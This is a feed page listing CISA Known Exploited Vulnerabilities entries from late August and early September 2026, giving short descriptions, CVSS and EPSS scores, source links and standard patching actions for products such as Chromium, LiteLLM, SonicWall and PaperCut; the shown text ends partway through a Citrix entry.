CISA added Sep 8, 2026; federal due date Sep 22, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium V8 Type Confusion Vulnerability
https://kevwire.com/record/CVE-2026-85046
Google Chromium V8 Type Confusion Vulnerability (Sep 4, 2026).
Google Chromium V8 contains a type confusion vulnerability that allows a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
CVSS 8.8 (version 3.1; evidence as of Sep 21, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-85046).
EPSS 1.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85046&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-85046: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85046&date=2026-10-25
CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2026-85046
CISA added this entry on 2026-09-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 4, 2026; federal due date Sep 18, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### BerriAI LiteLLM Improper Authentication Vulnerability
https://kevwire.com/record/CVE-2026-59822
BerriAI LiteLLM Improper Authentication Vulnerability (Sep 2, 2026).
BerriAI LiteLLM contains an improper authentication vulnerability in the MCP Streamable HTTP endpoint that could allow an unauthenticated attacker to establish an authenticated MCP session using an arbitrary Bearer token.
CVSS 8.8 (version 4.0; evidence as of Jul 8, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-59822).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-59822&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-59822: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-59822&date=2026-10-25
CVE Program CNA GitHub_M: https://cveawg.mitre.org/api/cve/CVE-2026-59822
CISA added this entry on 2026-09-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 2, 2026; federal due date Sep 16, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Kludex Starlette HTTP Request/Response Smuggling Vulnerability
https://kevwire.com/record/CVE-2026-48710
Kludex Starlette HTTP Request/Response Smuggling Vulnerability (Sep 2, 2026).
Kludex Starlette contains a HTTP request/response smuggling vulnerability that could allow attackers to inject paths into the host part, prepending the actual path leading to issues such as authentication bypass when the authentication depends on the reconstructed URL’s path. This vulnerability could be chaned with CVE-2026-42271.
CVSS 6.5 (version 3.1; evidence as of May 26, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-48710).
EPSS 70.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-48710&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-48710: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-48710&date=2026-10-25
CVE Program CNA GitHub_M: https://cveawg.mitre.org/api/cve/CVE-2026-48710
CISA added this entry on 2026-09-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 2, 2026; federal due date Sep 16, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Kestra OSS OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2026-49869
Kestra OSS OS Command Injection Vulnerability (Sep 2, 2026).
Kestra OSS contains an OS command injection vulnerability that could allow an unauthenticated remote attacker to create and execute arbitrary workflows without credentials.
CVSS 10.0 (version 3.1; evidence as of Jun 26, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-49869).
EPSS 2.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-49869&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-49869: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-49869&date=2026-10-25
CVE Program CNA GitHub_M: https://cveawg.mitre.org/api/cve/CVE-2026-49869
CISA added this entry on 2026-09-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 2, 2026; federal due date Sep 5, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### JFrog Artifactory Improper Authentication Vulnerability
https://kevwire.com/record/CVE-2026-82329
JFrog Artifactory Improper Authentication Vulnerability (Sep 2, 2026).
JFrog Artifactory contains an improper authentication vulnerability that under default configuration can allow an unauthenticated attacker with network access to obtain administrative privileges.
CVSS 9.8 (version 3.1; evidence as of Aug 28, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-82329).
EPSS 14.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-82329&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-82329: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-82329&date=2026-10-25
CVE Program CNA JFROG: https://cveawg.mitre.org/api/cve/CVE-2026-82329
CISA added this entry on 2026-09-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 2, 2026; federal due date Sep 5, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Sangoma Switchvox SQL Injection Vulnerability
https://kevwire.com/record/CVE-2026-9586
Sangoma Switchvox SQL Injection Vulnerability (Sep 2, 2026).
Sangoma Switchvox contains a SQL injection vulnerability which allows an unauthenticated remote attacker to execute arbitrary SQL statements against the backend PostgreSQL database using a single crafted request, including database operations and remote code execution.
CVSS 9.3 (version 4.0; evidence as of Jul 17, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-9586).
EPSS 19.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-9586&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-9586: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-9586&date=2026-10-25
CVE Program CNA SRA: https://cveawg.mitre.org/api/cve/CVE-2026-9586
CISA added this entry on 2026-09-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 2, 2026; federal due date Sep 5, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SonicWall SMA1000 Appliances Server-Side Request Forgery Vulnerability
https://kevwire.com/record/CVE-2026-83548
SonicWall SMA1000 Appliances Server-Side Request Forgery Vulnerability (Sep 2, 2026).
SonicWall SMA1000 Appliances contains a server-side request forgery vulnerability that could allow a remote unauthenticated attacker to gain unauthorized access to sensitive functionality and perform unauthorized operations.
CVSS 10.0 (version 3.1; evidence as of Sep 3, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-83548).
EPSS 8.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83548&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-83548: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83548&date=2026-10-25
CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2026-83548
CISA added this entry on 2026-09-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 2, 2026; federal due date Sep 5, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SonicWall SMA1000 Appliances OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2026-83549
SonicWall SMA1000 Appliances OS Command Injection Vulnerability (Sep 2, 2026).
SonicWall SMA1000 Appliances contains an OS command injection vulnerability that could enable a remote authenticated attacker as administrator to execute arbitrary OS commands, resulting in remote code execution.
CVSS 7.8 (version 3.1; evidence as of Sep 21, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-83549).
EPSS 9.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83549&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-83549: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83549&date=2026-10-25
CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2026-83549
CISA added this entry on 2026-09-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 2, 2026; federal due date Sep 5, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### PaperCut NG/MF Unsafe Reflection Vulnerability
https://kevwire.com/record/CVE-2026-82078
PaperCut NG/MF Unsafe Reflection Vulnerability (Aug 31, 2026).
PaperCut NG/MF contains an unsafe reflection vulnerability that allows an attacker to manipulate system configuration parameters and execute arbitrary Java bytecode residing on the application classpath under the security context of the PaperCut server process. This vulnerability can be chained with CVE-2026-81578.
CVSS 9.4 (version 4.0; evidence as of Sep 13, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-82078).
EPSS 60.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-82078&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-82078: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-82078&date=2026-10-25
CVE Program CNA PaperCut: https://cveawg.mitre.org/api/cve/CVE-2026-82078
CISA added this entry on 2026-08-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 31, 2026; federal due date Sep 14, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### PaperCut NG/MF Missing Authentication for Critical Function Vulnerability
https://kevwire.com/record/CVE-2026-81578
PaperCut NG/MF Missing Authentication for Critical Function Vulnerability (Aug 31, 2026).
PaperCut NG/MF contains a missing authentication for critical function vulnerability which allows an unauthenticated remote attacker to modify certain system configurations. This vulnerability can be chained with CVE-2026-82078.
CVSS 8.8 (version 4.0; evidence as of Sep 13, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-81578).
EPSS 83.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-81578&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-81578: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-81578&date=2026-10-25
CVE Program CNA PaperCut: https://cveawg.mitre.org/api/cve/CVE-2026-81578
CISA added this entry on 2026-08-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 31, 2026; federal due date Sep 14, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### ownCloud Improper Authentication Vulnerability
https://kevwire.com/record/CVE-2023-49105
ownCloud Improper Authentication Vulnerability (Aug 27, 2026).
ownCloud contains an improper authentication vulnerability that allows an attacker to access, modify, or delete any file without authentication if the username of a victim is known, and the victim has no signing-key configured.
CVSS 9.8 (version 3.1; evidence as of Nov 21, 2023; https://cveawg.mitre.org/api/cve/CVE-2023-49105).
EPSS 43.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-49105&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-49105: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-49105&date=2026-10-25
CVE Program CNA mitre: https://cveawg.mitre.org/api/cve/CVE-2023-49105
CISA added this entry on 2026-08-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 27, 2026; federal due date Aug 30, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Linux Kernel Unspecified Vulnerability
https://kevwire.com/record/CVE-2026-53362
Linux Kernel Unspecified Vulnerability (Aug 27, 2026).
Linux Kernel contains an unspecified vulnerability that can allow for privilege escalation via IPv6 networking subsystem. This vulnerability can impact multiple products, including but not limited to Suse, Red Hat, and other products using Linux.
CVSS 7.8 (version 3.1; evidence as of Aug 17, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-53362).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-53362&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-53362: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-53362&date=2026-10-25
CVE Program CNA Linux: https://cveawg.mitre.org/api/cve/CVE-2026-53362
CISA added this entry on 2026-08-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 27, 2026; federal due date Aug 30, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### JFrog Artifactory Improper Limitation of a Pathname to a Restricted Directory Vulnerability
https://kevwire.com/record/CVE-2026-66384
JFrog Artifactory Improper Limitation of a Pathname to a Restricted Directory Vulnerability (Aug 27, 2026).
JFrog Artifactory contains an improper limitation of a pathname to a restricted directory vulnerability. This can allow an authenticated user to write data outside the intended Docker cache path under specific remote-repository conditions.
CVSS 5.3 (version 3.1; evidence as of Aug 12, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-66384).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-66384&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-66384: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-66384&date=2026-10-25
CVE Program CNA JFROG: https://cveawg.mitre.org/api/cve/CVE-2026-66384
CISA added this entry on 2026-08-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 27, 2026; federal due date Sep 10, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ajax.NET Professional Deserialization of Untrusted Data Vulnerability
https://kevwire.com/record/CVE-2021-23758
Ajax.NET Professional Deserialization of Untrusted Data Vulnerability (Aug 26, 2026).
Ajax.NET Professional (AjaxPro) contains a deserialization of untrusted data vulnerability that could allow for remote code execution via arbitrary .NET classes. The impacted product(s) could be end-of-life (EoL) and/or end-of-service (EoS). Users are advised to discontinue use and/or transition to a supported version.
CVSS 8.1 (version 3.1; evidence as of Nov 14, 2023; https://cveawg.mitre.org/api/cve/CVE-2021-23758).
EPSS 82.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-23758&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-23758: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-23758&date=2026-10-25
CVE Program CNA snyk: https://cveawg.mitre.org/api/cve/CVE-2021-23758
CISA added this entry on 2026-08-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 26, 2026; federal due date Sep 9, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Red Hat Libuser Race Condition Vulnerability
https://kevwire.com/record/CVE-2015-3246
Red Hat Libuser Race Condition Vulnerability (Aug 26, 2026).
Red Hat libuser contains a race condition vulnerability that allows authenticated local users to corrupt the /etc/passwd file to cause a denial of service or privilege escalation.
CVSS 7.4 (version 3.1; evidence as of Oct 1, 2026; https://cveawg.mitre.org/api/cve/CVE-2015-3246).
EPSS 8.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-3246&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-3246: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-3246&date=2026-10-25
CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2015-3246
CISA added this entry on 2026-08-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 26, 2026; federal due date Sep 9, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Red Hat Automatic Bug Reporting Tool Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2015-5287
Red Hat Automatic Bug Reporting Tool Privilege Escalation Vulnerability (Aug 26, 2026).
Red Hat Automatic Bug Reporting Tool (ABRT) contains a privilege escalation vulnerability that could allow local users with certain permissions to gain privileges via a symlink attack on a file with a predictable name. The impacted product(s) could be end-of-life (EoL) and/or end-of-service (EoS). Users are advised to discontinue use and/or transition to a supported version.
CVSS 7.8 (version 3.1; evidence as of Aug 27, 2026; https://cveawg.mitre.org/api/cve/CVE-2015-5287).
EPSS 5.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-5287&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-5287: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-5287&date=2026-10-25
CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2015-5287
CISA added this entry on 2026-08-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 26, 2026; federal due date Sep 9, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Linux Kernel Out-of-Bounds Write Vulnerability
https://kevwire.com/record/CVE-2022-0995
Linux Kernel Out-of-Bounds Write Vulnerability (Aug 26, 2026).
Linux Kernel contains an out-of-bounds memory write vulnerability which could allow a local user to gain privileged access or cause a denial of service on the system.
CVSS 7.8 (version 3.1; evidence as of Aug 27, 2026; https://cveawg.mitre.org/api/cve/CVE-2022-0995).
EPSS 8.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-0995&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-0995: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-0995&date=2026-10-25
CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2022-0995
CISA added this entry on 2026-08-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 26, 2026; federal due date Aug 29, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Citrix NetScaler ADC and NetScaler Gateway Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability
https://kevwire.com/record/CVE-2026-8452
Citrix NetScaler ADC and NetScaler Gateway Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability (Aug 26, 2026).
Citrix NetScaler ADC and NetScaler Gateway contain an improper restriction of operations within the bounds of a memory buffer vulnerability which could lead to denial of service.
CVSS 8.8 (version 4.0; evidence as of Jun 30, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-8452).
